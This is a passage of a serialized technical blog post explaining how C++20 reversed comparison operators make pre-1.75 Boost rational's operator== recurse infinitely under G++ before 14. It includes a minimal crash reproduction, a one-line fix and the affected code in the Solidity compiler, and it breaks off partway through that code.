",{"type":24,"tag":80,"props":96600,"children":96602},{"className":96601},[],[96603],{"type":29,"value":95838},{"type":29,"value":96605},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":22292,"props":96607,"children":96608},{},[96609,96620],{"type":24,"tag":2678,"props":96610,"children":96611},{},[96612,96614],{"type":29,"value":96613},"If you define: ",{"type":24,"tag":80,"props":96615,"children":96617},{"className":96616},[],[96618],{"type":29,"value":96619},"bool operator==(T1, T2);",{"type":24,"tag":2678,"props":96621,"children":96622},{},[96623,96625,96631],{"type":29,"value":96624},"Then ",{"type":24,"tag":80,"props":96626,"children":96628},{"className":96627},[],[96629],{"type":29,"value":96630},"T2 == T1",{"type":29,"value":96632}," may call the same function by reversing the arguments.",{"type":24,"tag":25,"props":96634,"children":96635},{},[96636,96638,96643,96644,96649,96651,96657,96659,96664],{"type":29,"value":96637},"This rewrite is ",{"type":24,"tag":10949,"props":96639,"children":96640},{},[96641],{"type":29,"value":96642},"recursive",{"type":29,"value":20943},{"type":24,"tag":80,"props":96645,"children":96647},{"className":96646},[],[96648],{"type":29,"value":95830},{"type":29,"value":96650}," becomes ",{"type":24,"tag":80,"props":96652,"children":96654},{"className":96653},[],[96655],{"type":29,"value":96656},"b == a",{"type":29,"value":96658},", which becomes ",{"type":24,"tag":80,"props":96660,"children":96662},{"className":96661},[],[96663],{"type":29,"value":95830},{"type":29,"value":96665}," again, and so on — if not handled carefully.",{"type":24,"tag":25,"props":96667,"children":96668},{},[96669],{"type":29,"value":96670},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":2665,"props":96672,"children":96673},{},[],{"type":24,"tag":32,"props":96675,"children":96677},{"id":96676},"part-iii-the-boost-trapdoor",[96678],{"type":29,"value":96679},"Part III: The Boost Trapdoor",{"type":24,"tag":25,"props":96681,"children":96682},{},[96683,96685,96691,96693,96698],{"type":29,"value":96684},"The old Boost ",{"type":24,"tag":80,"props":96686,"children":96688},{"className":96687},[],[96689],{"type":29,"value":96690},"rational",{"type":29,"value":96692}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":80,"props":96694,"children":96696},{"className":96695},[],[96697],{"type":29,"value":95838},{"type":29,"value":978},{"type":24,"tag":137,"props":96700,"children":96702},{"code":96701,"language":34714,"meta":7,"className":34712,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[96703],{"type":24,"tag":80,"props":96704,"children":96705},{"__ignoreMap":7},[96706,96741,96764,96776,96783,96790,96797,96804,96811,96834,96922,96929,96980,96987,96994,97001,97008,97043,97051,97079,97118,97183,97190,97210],{"type":24,"tag":147,"props":96707,"children":96708},{"class":149,"line":150},[96709,96713,96717,96721,96725,96729,96733,96737],{"type":24,"tag":147,"props":96710,"children":96711},{"style":218},[96712],{"type":29,"value":71798},{"type":24,"tag":147,"props":96714,"children":96715},{"style":235},[96716],{"type":29,"value":14344},{"type":24,"tag":147,"props":96718,"children":96719},{"style":218},[96720],{"type":29,"value":75993},{"type":24,"tag":147,"props":96722,"children":96723},{"style":9044},[96724],{"type":29,"value":96212},{"type":24,"tag":147,"props":96726,"children":96727},{"style":235},[96728],{"type":29,"value":546},{"type":24,"tag":147,"props":96730,"children":96731},{"style":218},[96732],{"type":29,"value":75993},{"type":24,"tag":147,"props":96734,"children":96735},{"style":9044},[96736],{"type":29,"value":96031},{"type":24,"tag":147,"props":96738,"children":96739},{"style":235},[96740],{"type":29,"value":11617},{"type":24,"tag":147,"props":96742,"children":96743},{"class":149,"line":160},[96744,96748,96752,96756,96760],{"type":24,"tag":147,"props":96745,"children":96746},{"style":218},[96747],{"type":29,"value":71798},{"type":24,"tag":147,"props":96749,"children":96750},{"style":235},[96751],{"type":29,"value":14344},{"type":24,"tag":147,"props":96753,"children":96754},{"style":218},[96755],{"type":29,"value":96026},{"type":24,"tag":147,"props":96757,"children":96758},{"style":9044},[96759],{"type":29,"value":96031},{"type":24,"tag":147,"props":96761,"children":96762},{"style":235},[96763],{"type":29,"value":11617},{"type":24,"tag":147,"props":96765,"children":96766},{"class":149,"line":169},[96767,96771],{"type":24,"tag":147,"props":96768,"children":96769},{"style":218},[96770],{"type":29,"value":75993},{"type":24,"tag":147,"props":96772,"children":96773},{"style":9044},[96774],{"type":29,"value":96775}," rational\n",{"type":24,"tag":147,"props":96777,"children":96778},{"class":149,"line":178},[96779],{"type":24,"tag":147,"props":96780,"children":96781},{"style":235},[96782],{"type":29,"value":278},{"type":24,"tag":147,"props":96784,"children":96785},{"class":149,"line":187},[96786],{"type":24,"tag":147,"props":96787,"children":96788},{"style":235},[96789],{"type":29,"value":25943},{"type":24,"tag":147,"props":96791,"children":96792},{"class":149,"line":196},[96793],{"type":24,"tag":147,"props":96794,"children":96795},{"style":218},[96796],{"type":29,"value":96059},{"type":24,"tag":147,"props":96798,"children":96799},{"class":149,"line":205},[96800],{"type":24,"tag":147,"props":96801,"children":96802},{"style":235},[96803],{"type":29,"value":25943},{"type":24,"tag":147,"props":96805,"children":96806},{"class":149,"line":214},[96807],{"type":24,"tag":147,"props":96808,"children":96809},{"style":235},[96810],{"type":29,"value":67368},{"type":24,"tag":147,"props":96812,"children":96813},{"class":149,"line":272},[96814,96818,96822,96826,96830],{"type":24,"tag":147,"props":96815,"children":96816},{"style":218},[96817],{"type":29,"value":96067},{"type":24,"tag":147,"props":96819,"children":96820},{"style":235},[96821],{"type":29,"value":14344},{"type":24,"tag":147,"props":96823,"children":96824},{"style":218},[96825],{"type":29,"value":75993},{"type":24,"tag":147,"props":96827,"children":96828},{"style":9044},[96829],{"type":29,"value":11543},{"type":24,"tag":147,"props":96831,"children":96832},{"style":235},[96833],{"type":29,"value":11617},{"type":24,"tag":147,"props":96835,"children":96836},{"class":149,"line":281},[96837,96842,96846,96851,96855,96859,96863,96868,96872,96876,96880,96884,96888,96892,96897,96901,96905,96909,96913,96917],{"type":24,"tag":147,"props":96838,"children":96839},{"style":235},[96840],{"type":29,"value":96841},"    BOOST_CONSTEXPR ",{"type":24,"tag":147,"props":96843,"children":96844},{"style":218},[96845],{"type":29,"value":96026},{"type":24,"tag":147,"props":96847,"children":96848},{"style":235},[96849],{"type":29,"value":96850}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":147,"props":96852,"children":96853},{"style":9044},[96854],{"type":29,"value":11612},{"type":24,"tag":147,"props":96856,"children":96857},{"style":235},[96858],{"type":29,"value":546},{"type":24,"tag":147,"props":96860,"children":96861},{"style":9044},[96862],{"type":29,"value":96260},{"type":24,"tag":147,"props":96864,"children":96865},{"style":235},[96866],{"type":29,"value":96867},">::",{"type":24,"tag":147,"props":96869,"children":96870},{"style":9044},[96871],{"type":29,"value":5037},{"type":24,"tag":147,"props":96873,"children":96874},{"style":235},[96875],{"type":29,"value":546},{"type":24,"tag":147,"props":96877,"children":96878},{"style":218},[96879],{"type":29,"value":35286},{"type":24,"tag":147,"props":96881,"children":96882},{"style":235},[96883],{"type":29,"value":96867},{"type":24,"tag":147,"props":96885,"children":96886},{"style":9044},[96887],{"type":29,"value":38357},{"type":24,"tag":147,"props":96889,"children":96890},{"style":218},[96891],{"type":29,"value":96095},{"type":24,"tag":147,"props":96893,"children":96894},{"style":235},[96895],{"type":29,"value":96896},"== (",{"type":24,"tag":147,"props":96898,"children":96899},{"style":218},[96900],{"type":29,"value":15276},{"type":24,"tag":147,"props":96902,"children":96903},{"style":9044},[96904],{"type":29,"value":11543},{"type":24,"tag":147,"props":96906,"children":96907},{"style":218},[96908],{"type":29,"value":485},{"type":24,"tag":147,"props":96910,"children":96911},{"style":247},[96912],{"type":29,"value":9023},{"type":24,"tag":147,"props":96914,"children":96915},{"style":235},[96916],{"type":29,"value":564},{"type":24,"tag":147,"props":96918,"children":96919},{"style":218},[96920],{"type":29,"value":96921},"const\n",{"type":24,"tag":147,"props":96923,"children":96924},{"class":149,"line":299},[96925],{"type":24,"tag":147,"props":96926,"children":96927},{"style":235},[96928],{"type":29,"value":3079},{"type":24,"tag":147,"props":96930,"children":96931},{"class":149,"line":308},[96932,96937,96942,96946,96950,96954,96958,96962,96966,96971,96975],{"type":24,"tag":147,"props":96933,"children":96934},{"style":321},[96935],{"type":29,"value":96936},"       return",{"type":24,"tag":147,"props":96938,"children":96939},{"style":235},[96940],{"type":29,"value":96941}," ((den ",{"type":24,"tag":147,"props":96943,"children":96944},{"style":241},[96945],{"type":29,"value":6600},{"type":24,"tag":147,"props":96947,"children":96948},{"style":229},[96949],{"type":29,"value":96031},{"type":24,"tag":147,"props":96951,"children":96952},{"style":235},[96953],{"type":29,"value":480},{"type":24,"tag":147,"props":96955,"children":96956},{"style":705},[96957],{"type":29,"value":1154},{"type":24,"tag":147,"props":96959,"children":96960},{"style":235},[96961],{"type":29,"value":14462},{"type":24,"tag":147,"props":96963,"children":96964},{"style":241},[96965],{"type":29,"value":78779},{"type":24,"tag":147,"props":96967,"children":96968},{"style":235},[96969],{"type":29,"value":96970}," (num ",{"type":24,"tag":147,"props":96972,"children":96973},{"style":241},[96974],{"type":29,"value":6600},{"type":24,"tag":147,"props":96976,"children":96977},{"style":235},[96978],{"type":29,"value":96979}," i));\n",{"type":24,"tag":147,"props":96981,"children":96982},{"class":149,"line":317},[96983],{"type":24,"tag":147,"props":96984,"children":96985},{"style":235},[96986],{"type":29,"value":1952},{"type":24,"tag":147,"props":96988,"children":96989},{"class":149,"line":332},[96990],{"type":24,"tag":147,"props":96991,"children":96992},{"style":235},[96993],{"type":29,"value":25943},{"type":24,"tag":147,"props":96995,"children":96996},{"class":149,"line":350},[96997],{"type":24,"tag":147,"props":96998,"children":96999},{"style":235},[97000],{"type":29,"value":827},{"type":24,"tag":147,"props":97002,"children":97003},{"class":149,"line":358},[97004],{"type":24,"tag":147,"props":97005,"children":97006},{"emptyLinePlaceholder":16},[97007],{"type":29,"value":314},{"type":24,"tag":147,"props":97009,"children":97010},{"class":149,"line":397},[97011,97015,97019,97023,97027,97031,97035,97039],{"type":24,"tag":147,"props":97012,"children":97013},{"style":218},[97014],{"type":29,"value":71798},{"type":24,"tag":147,"props":97016,"children":97017},{"style":235},[97018],{"type":29,"value":14344},{"type":24,"tag":147,"props":97020,"children":97021},{"style":218},[97022],{"type":29,"value":75993},{"type":24,"tag":147,"props":97024,"children":97025},{"style":9044},[97026],{"type":29,"value":96212},{"type":24,"tag":147,"props":97028,"children":97029},{"style":235},[97030],{"type":29,"value":546},{"type":24,"tag":147,"props":97032,"children":97033},{"style":218},[97034],{"type":29,"value":75993},{"type":24,"tag":147,"props":97036,"children":97037},{"style":9044},[97038],{"type":29,"value":96031},{"type":24,"tag":147,"props":97040,"children":97041},{"style":235},[97042],{"type":29,"value":11617},{"type":24,"tag":147,"props":97044,"children":97045},{"class":149,"line":421},[97046],{"type":24,"tag":147,"props":97047,"children":97048},{"style":235},[97049],{"type":29,"value":97050},"BOOST_CONSTEXPR\n",{"type":24,"tag":147,"props":97052,"children":97053},{"class":149,"line":435},[97054,97059,97064,97069,97074],{"type":24,"tag":147,"props":97055,"children":97056},{"style":218},[97057],{"type":29,"value":97058},"inline",{"type":24,"tag":147,"props":97060,"children":97061},{"style":218},[97062],{"type":29,"value":97063}," typename",{"type":24,"tag":147,"props":97065,"children":97066},{"style":235},[97067],{"type":29,"value":97068}," boost::",{"type":24,"tag":147,"props":97070,"children":97071},{"style":9044},[97072],{"type":29,"value":97073},"enable_if_c",{"type":24,"tag":147,"props":97075,"children":97076},{"style":241},[97077],{"type":29,"value":97078}," \u003C\n",{"type":24,"tag":147,"props":97080,"children":97081},{"class":149,"line":444},[97082,97087,97092,97096,97100,97105,97109,97113],{"type":24,"tag":147,"props":97083,"children":97084},{"style":235},[97085],{"type":29,"value":97086},"   rational_detail::is_compatible_integer\u003C",{"type":24,"tag":147,"props":97088,"children":97089},{"style":9044},[97090],{"type":29,"value":97091},"Arg",{"type":24,"tag":147,"props":97093,"children":97094},{"style":235},[97095],{"type":29,"value":546},{"type":24,"tag":147,"props":97097,"children":97098},{"style":9044},[97099],{"type":29,"value":96260},{"type":24,"tag":147,"props":97101,"children":97102},{"style":235},[97103],{"type":29,"value":97104},">::value, ",{"type":24,"tag":147,"props":97106,"children":97107},{"style":218},[97108],{"type":29,"value":35286},{"type":24,"tag":147,"props":97110,"children":97111},{"style":241},[97112],{"type":29,"value":3453},{"type":24,"tag":147,"props":97114,"children":97115},{"style":235},[97116],{"type":29,"value":97117},"::type\n",{"type":24,"tag":147,"props":97119,"children":97120},{"class":149,"line":452},[97121,97126,97131,97135,97139,97143,97147,97151,97155,97159,97163,97167,97171,97175,97179],{"type":24,"tag":147,"props":97122,"children":97123},{"style":218},[97124],{"type":29,"value":97125},"   operator",{"type":24,"tag":147,"props":97127,"children":97128},{"style":235},[97129],{"type":29,"value":97130}," == (",{"type":24,"tag":147,"props":97132,"children":97133},{"style":218},[97134],{"type":29,"value":15276},{"type":24,"tag":147,"props":97136,"children":97137},{"style":9044},[97138],{"type":29,"value":96212},{"type":24,"tag":147,"props":97140,"children":97141},{"style":218},[97142],{"type":29,"value":485},{"type":24,"tag":147,"props":97144,"children":97145},{"style":247},[97146],{"type":29,"value":96293},{"type":24,"tag":147,"props":97148,"children":97149},{"style":235},[97150],{"type":29,"value":546},{"type":24,"tag":147,"props":97152,"children":97153},{"style":218},[97154],{"type":29,"value":15276},{"type":24,"tag":147,"props":97156,"children":97157},{"style":9044},[97158],{"type":29,"value":96047},{"type":24,"tag":147,"props":97160,"children":97161},{"style":235},[97162],{"type":29,"value":3583},{"type":24,"tag":147,"props":97164,"children":97165},{"style":9044},[97166],{"type":29,"value":96260},{"type":24,"tag":147,"props":97168,"children":97169},{"style":235},[97170],{"type":29,"value":3453},{"type":24,"tag":147,"props":97172,"children":97173},{"style":218},[97174],{"type":29,"value":485},{"type":24,"tag":147,"props":97176,"children":97177},{"style":247},[97178],{"type":29,"value":95419},{"type":24,"tag":147,"props":97180,"children":97181},{"style":235},[97182],{"type":29,"value":269},{"type":24,"tag":147,"props":97184,"children":97185},{"class":149,"line":461},[97186],{"type":24,"tag":147,"props":97187,"children":97188},{"style":235},[97189],{"type":29,"value":278},{"type":24,"tag":147,"props":97191,"children":97192},{"class":149,"line":469},[97193,97197,97201,97205],{"type":24,"tag":147,"props":97194,"children":97195},{"style":321},[97196],{"type":29,"value":3966},{"type":24,"tag":147,"props":97198,"children":97199},{"style":235},[97200],{"type":29,"value":22370},{"type":24,"tag":147,"props":97202,"children":97203},{"style":241},[97204],{"type":29,"value":6600},{"type":24,"tag":147,"props":97206,"children":97207},{"style":235},[97208],{"type":29,"value":97209}," b; \n",{"type":24,"tag":147,"props":97211,"children":97212},{"class":149,"line":508},[97213],{"type":24,"tag":147,"props":97214,"children":97215},{"style":235},[97216],{"type":29,"value":827},{"type":24,"tag":25,"props":97218,"children":97219},{},[97220,97222,97228],{"type":29,"value":97221},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":80,"props":97223,"children":97225},{"className":97224},[],[97226],{"type":29,"value":97227},"rhs == lhs",{"type":29,"value":97229}," would fall back to member overloads if available. All good.",{"type":24,"tag":25,"props":97231,"children":97232},{},[97233,97235,97240,97241,97247],{"type":29,"value":97234},"But under ",{"type":24,"tag":80,"props":97236,"children":97238},{"className":97237},[],[97239],{"type":29,"value":95784},{"type":29,"value":27106},{"type":24,"tag":80,"props":97242,"children":97244},{"className":97243},[],[97245],{"type":29,"value":97246},"G++ \u003C 14",{"type":29,"value":978},{"type":24,"tag":22292,"props":97249,"children":97250},{},[97251,97256,97261,97266],{"type":24,"tag":2678,"props":97252,"children":97253},{},[97254],{"type":29,"value":97255},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":2678,"props":97257,"children":97258},{},[97259],{"type":29,"value":97260},"C++20 reverses the comparison",{"type":24,"tag":2678,"props":97262,"children":97263},{},[97264],{"type":29,"value":97265},"Which calls the same function again with arguments flipped",{"type":24,"tag":2678,"props":97267,"children":97268},{},[97269],{"type":29,"value":97270},"And so on...",{"type":24,"tag":25,"props":97272,"children":97273},{},[97274,97276,97281],{"type":29,"value":97275},"This creates ",{"type":24,"tag":10949,"props":97277,"children":97278},{},[97279],{"type":29,"value":97280},"infinite recursion",{"type":29,"value":87},{"type":24,"tag":25,"props":97283,"children":97284},{},[97285],{"type":29,"value":97286},"A minimal example:",{"type":24,"tag":137,"props":97288,"children":97290},{"code":97289,"language":34714,"meta":7,"className":34712,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[97291],{"type":24,"tag":80,"props":97292,"children":97293},{"__ignoreMap":7},[97294,97302,97314,97321,97336,97360,97383],{"type":24,"tag":147,"props":97295,"children":97296},{"class":149,"line":150},[97297],{"type":24,"tag":147,"props":97298,"children":97299},{"style":154},[97300],{"type":29,"value":97301},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":24,"tag":147,"props":97303,"children":97304},{"class":149,"line":160},[97305,97309],{"type":24,"tag":147,"props":97306,"children":97307},{"style":321},[97308],{"type":29,"value":95998},{"type":24,"tag":147,"props":97310,"children":97311},{"style":3534},[97312],{"type":29,"value":97313}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":147,"props":97315,"children":97316},{"class":149,"line":169},[97317],{"type":24,"tag":147,"props":97318,"children":97319},{"emptyLinePlaceholder":16},[97320],{"type":29,"value":314},{"type":24,"tag":147,"props":97322,"children":97323},{"class":149,"line":178},[97324,97328,97332],{"type":24,"tag":147,"props":97325,"children":97326},{"style":218},[97327],{"type":29,"value":1276},{"type":24,"tag":147,"props":97329,"children":97330},{"style":229},[97331],{"type":29,"value":96363},{"type":24,"tag":147,"props":97333,"children":97334},{"style":235},[97335],{"type":29,"value":21347},{"type":24,"tag":147,"props":97337,"children":97338},{"class":149,"line":187},[97339,97344,97348,97352,97356],{"type":24,"tag":147,"props":97340,"children":97341},{"style":235},[97342],{"type":29,"value":97343},"    boost::rational",{"type":24,"tag":147,"props":97345,"children":97346},{"style":241},[97347],{"type":29,"value":3583},{"type":24,"tag":147,"props":97349,"children":97350},{"style":218},[97351],{"type":29,"value":1276},{"type":24,"tag":147,"props":97353,"children":97354},{"style":241},[97355],{"type":29,"value":3453},{"type":24,"tag":147,"props":97357,"children":97358},{"style":235},[97359],{"type":29,"value":96392},{"type":24,"tag":147,"props":97361,"children":97362},{"class":149,"line":196},[97363,97367,97371,97375,97379],{"type":24,"tag":147,"props":97364,"children":97365},{"style":321},[97366],{"type":29,"value":2597},{"type":24,"tag":147,"props":97368,"children":97369},{"style":235},[97370],{"type":29,"value":96404},{"type":24,"tag":147,"props":97372,"children":97373},{"style":241},[97374],{"type":29,"value":6600},{"type":24,"tag":147,"props":97376,"children":97377},{"style":705},[97378],{"type":29,"value":708},{"type":24,"tag":147,"props":97380,"children":97381},{"style":235},[97382],{"type":29,"value":432},{"type":24,"tag":147,"props":97384,"children":97385},{"class":149,"line":205},[97386],{"type":24,"tag":147,"props":97387,"children":97388},{"style":235},[97389],{"type":29,"value":827},{"type":24,"tag":25,"props":97391,"children":97392},{},[97393],{"type":29,"value":97394},"Expected output: nothing.",{"type":24,"tag":25,"props":97396,"children":97397},{},[97398],{"type":29,"value":97399},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":25,"props":97401,"children":97402},{},[97403,97405,97412],{"type":29,"value":97404},"This exact pattern was ",{"type":24,"tag":2773,"props":97406,"children":97409},{"href":97407,"rel":97408},"https://github.com/boostorg/rational/issues/43",[2777],[97410],{"type":29,"value":97411},"reported and fixed in Boost rational",{"type":29,"value":97413},", but only in version 1.75+.",{"type":24,"tag":25,"props":97415,"children":97416},{},[97417],{"type":29,"value":97418},"Here’s the one-line fix:",{"type":24,"tag":137,"props":97420,"children":97422},{"code":97421,"language":45958,"meta":7,"className":45956,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[97423],{"type":24,"tag":80,"props":97424,"children":97425},{"__ignoreMap":7},[97426,97434,97441,97449,97457,97465,97472,97480,97488],{"type":24,"tag":147,"props":97427,"children":97428},{"class":149,"line":150},[97429],{"type":24,"tag":147,"props":97430,"children":97431},{"style":235},[97432],{"type":29,"value":97433},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":147,"props":97435,"children":97436},{"class":149,"line":160},[97437],{"type":24,"tag":147,"props":97438,"children":97439},{"style":235},[97440],{"type":29,"value":97050},{"type":24,"tag":147,"props":97442,"children":97443},{"class":149,"line":169},[97444],{"type":24,"tag":147,"props":97445,"children":97446},{"style":235},[97447],{"type":29,"value":97448},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":147,"props":97450,"children":97451},{"class":149,"line":178},[97452],{"type":24,"tag":147,"props":97453,"children":97454},{"style":235},[97455],{"type":29,"value":97456},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":147,"props":97458,"children":97459},{"class":149,"line":187},[97460],{"type":24,"tag":147,"props":97461,"children":97462},{"style":235},[97463],{"type":29,"value":97464},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":147,"props":97466,"children":97467},{"class":149,"line":196},[97468],{"type":24,"tag":147,"props":97469,"children":97470},{"style":235},[97471],{"type":29,"value":278},{"type":24,"tag":147,"props":97473,"children":97474},{"class":149,"line":205},[97475],{"type":24,"tag":147,"props":97476,"children":97477},{"style":3534},[97478],{"type":29,"value":97479},"-     return a == b;\n",{"type":24,"tag":147,"props":97481,"children":97482},{"class":149,"line":214},[97483],{"type":24,"tag":147,"props":97484,"children":97485},{"style":705},[97486],{"type":29,"value":97487},"+     return a.operator==(b);\n",{"type":24,"tag":147,"props":97489,"children":97490},{"class":149,"line":272},[97491],{"type":24,"tag":147,"props":97492,"children":97493},{"style":235},[97494],{"type":29,"value":827},{"type":24,"tag":25,"props":97496,"children":97497},{},[97498,97500,97505,97507,97512],{"type":29,"value":97499},"Instead of calling ",{"type":24,"tag":80,"props":97501,"children":97503},{"className":97502},[],[97504],{"type":29,"value":95830},{"type":29,"value":97506}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":80,"props":97508,"children":97510},{"className":97509},[],[97511],{"type":29,"value":95838},{"type":29,"value":87},{"type":24,"tag":25,"props":97514,"children":97515},{},[97516],{"type":29,"value":97517},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":2665,"props":97519,"children":97520},{},[],{"type":24,"tag":32,"props":97522,"children":97524},{"id":97523},"part-iv-how-this-breaks-solidity",[97525],{"type":29,"value":97526},"Part IV: How This Breaks Solidity",{"type":24,"tag":25,"props":97528,"children":97529},{},[97530,97532,97537],{"type":29,"value":97531},"The Solidity codebase uses ",{"type":24,"tag":80,"props":97533,"children":97535},{"className":97534},[],[97536],{"type":29,"value":95685},{"type":29,"value":97538}," to represent certain compile-time constant expressions.",{"type":24,"tag":25,"props":97540,"children":97541},{},[97542,97544,97550],{"type":29,"value":97543},"One snippet that can trigger this issue appears in ",{"type":24,"tag":80,"props":97545,"children":97547},{"className":97546},[],[97548],{"type":29,"value":97549},"DeclarationTypeChecker::endVisit",{"type":29,"value":978},{"type":24,"tag":137,"props":97552,"children":97554},{"code":97553,"language":34714,"meta":7,"className":34712,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[97555],{"type":24,"tag":80,"props":97556,"children":97557},{"__ignoreMap":7},[97558,97605,97630,97637,97715,97722,97775,97803,97810,97830,97837,97877,97884],{"type":24,"tag":147,"props":97559,"children":97560},{"class":149,"line":150},[97561,97565,97570,97574,97578,97583,97587,97592,97596,97600],{"type":24,"tag":147,"props":97562,"children":97563},{"style":321},[97564],{"type":29,"value":21191},{"type":24,"tag":147,"props":97566,"children":97567},{"style":235},[97568],{"type":29,"value":97569}," (Expression ",{"type":24,"tag":147,"props":97571,"children":97572},{"style":218},[97573],{"type":29,"value":15276},{"type":24,"tag":147,"props":97575,"children":97576},{"style":241},[97577],{"type":29,"value":244},{"type":24,"tag":147,"props":97579,"children":97580},{"style":235},[97581],{"type":29,"value":97582}," length ",{"type":24,"tag":147,"props":97584,"children":97585},{"style":241},[97586],{"type":29,"value":369},{"type":24,"tag":147,"props":97588,"children":97589},{"style":247},[97590],{"type":29,"value":97591}," _typeName",{"type":24,"tag":147,"props":97593,"children":97594},{"style":235},[97595],{"type":29,"value":87},{"type":24,"tag":147,"props":97597,"children":97598},{"style":229},[97599],{"type":29,"value":14129},{"type":24,"tag":147,"props":97601,"children":97602},{"style":235},[97603],{"type":29,"value":97604},"()) {\n",{"type":24,"tag":147,"props":97606,"children":97607},{"class":149,"line":160},[97608,97613,97617,97621,97625],{"type":24,"tag":147,"props":97609,"children":97610},{"style":235},[97611],{"type":29,"value":97612},"    std::optional",{"type":24,"tag":147,"props":97614,"children":97615},{"style":241},[97616],{"type":29,"value":3583},{"type":24,"tag":147,"props":97618,"children":97619},{"style":235},[97620],{"type":29,"value":96690},{"type":24,"tag":147,"props":97622,"children":97623},{"style":241},[97624],{"type":29,"value":3453},{"type":24,"tag":147,"props":97626,"children":97627},{"style":235},[97628],{"type":29,"value":97629}," lengthValue;\n",{"type":24,"tag":147,"props":97631,"children":97632},{"class":149,"line":169},[97633],{"type":24,"tag":147,"props":97634,"children":97635},{"emptyLinePlaceholder":16},[97636],{"type":29,"value":314},{"type":24,"tag":147,"props":97638,"children":97639},{"class":149,"line":178},[97640,97644,97648,97652,97656,97660,97664,97668,97672,97677,97681,97685,97689,97693,97697,97702,97706,97710],{"type":24,"tag":147,"props":97641,"children":97642},{"style":321},[97643],{"type":29,"value":4759},{"type":24,"tag":147,"props":97645,"children":97646},{"style":235},[97647],{"type":29,"value":408},{"type":24,"tag":147,"props":97649,"children":97650},{"style":247},[97651],{"type":29,"value":14129},{"type":24,"tag":147,"props":97653,"children":97654},{"style":235},[97655],{"type":29,"value":495},{"type":24,"tag":147,"props":97657,"children":97658},{"style":229},[97659],{"type":29,"value":35764},{"type":24,"tag":147,"props":97661,"children":97662},{"style":235},[97663],{"type":29,"value":35769},{"type":24,"tag":147,"props":97665,"children":97666},{"style":247},[97667],{"type":29,"value":38357},{"type":24,"tag":147,"props":97669,"children":97670},{"style":241},[97671],{"type":29,"value":4269},{"type":24,"tag":147,"props":97673,"children":97674},{"style":247},[97675],{"type":29,"value":97676}," length",{"type":24,"tag":147,"props":97678,"children":97679},{"style":235},[97680],{"type":29,"value":495},{"type":24,"tag":147,"props":97682,"children":97683},{"style":229},[97684],{"type":29,"value":35764},{"type":24,"tag":147,"props":97686,"children":97687},{"style":235},[97688],{"type":29,"value":35769},{"type":24,"tag":147,"props":97690,"children":97691},{"style":247},[97692],{"type":29,"value":38357},{"type":24,"tag":147,"props":97694,"children":97695},{"style":235},[97696],{"type":29,"value":495},{"type":24,"tag":147,"props":97698,"children":97699},{"style":229},[97700],{"type":29,"value":97701},"category",{"type":24,"tag":147,"props":97703,"children":97704},{"style":235},[97705],{"type":29,"value":19658},{"type":24,"tag":147,"props":97707,"children":97708},{"style":241},[97709],{"type":29,"value":6600},{"type":24,"tag":147,"props":97711,"children":97712},{"style":235},[97713],{"type":29,"value":97714}," Type::Category::RationalNumber)\n",{"type":24,"tag":147,"props":97716,"children":97717},{"class":149,"line":187},[97718],{"type":24,"tag":147,"props":97719,"children":97720},{"style":235},[97721],{"type":29,"value":87426},{"type":24,"tag":147,"props":97723,"children":97724},{"class":149,"line":196},[97725,97730,97734,97739,97743,97748,97752,97757,97761,97766,97770],{"type":24,"tag":147,"props":97726,"children":97727},{"style":321},[97728],{"type":29,"value":97729},"    else",{"type":24,"tag":147,"props":97731,"children":97732},{"style":321},[97733],{"type":29,"value":21397},{"type":24,"tag":147,"props":97735,"children":97736},{"style":235},[97737],{"type":29,"value":97738}," (std::optional",{"type":24,"tag":147,"props":97740,"children":97741},{"style":241},[97742],{"type":29,"value":3583},{"type":24,"tag":147,"props":97744,"children":97745},{"style":235},[97746],{"type":29,"value":97747},"ConstantEvaluator::TypedRational",{"type":24,"tag":147,"props":97749,"children":97750},{"style":241},[97751],{"type":29,"value":3453},{"type":24,"tag":147,"props":97753,"children":97754},{"style":235},[97755],{"type":29,"value":97756}," value ",{"type":24,"tag":147,"props":97758,"children":97759},{"style":241},[97760],{"type":29,"value":369},{"type":24,"tag":147,"props":97762,"children":97763},{"style":235},[97764],{"type":29,"value":97765}," 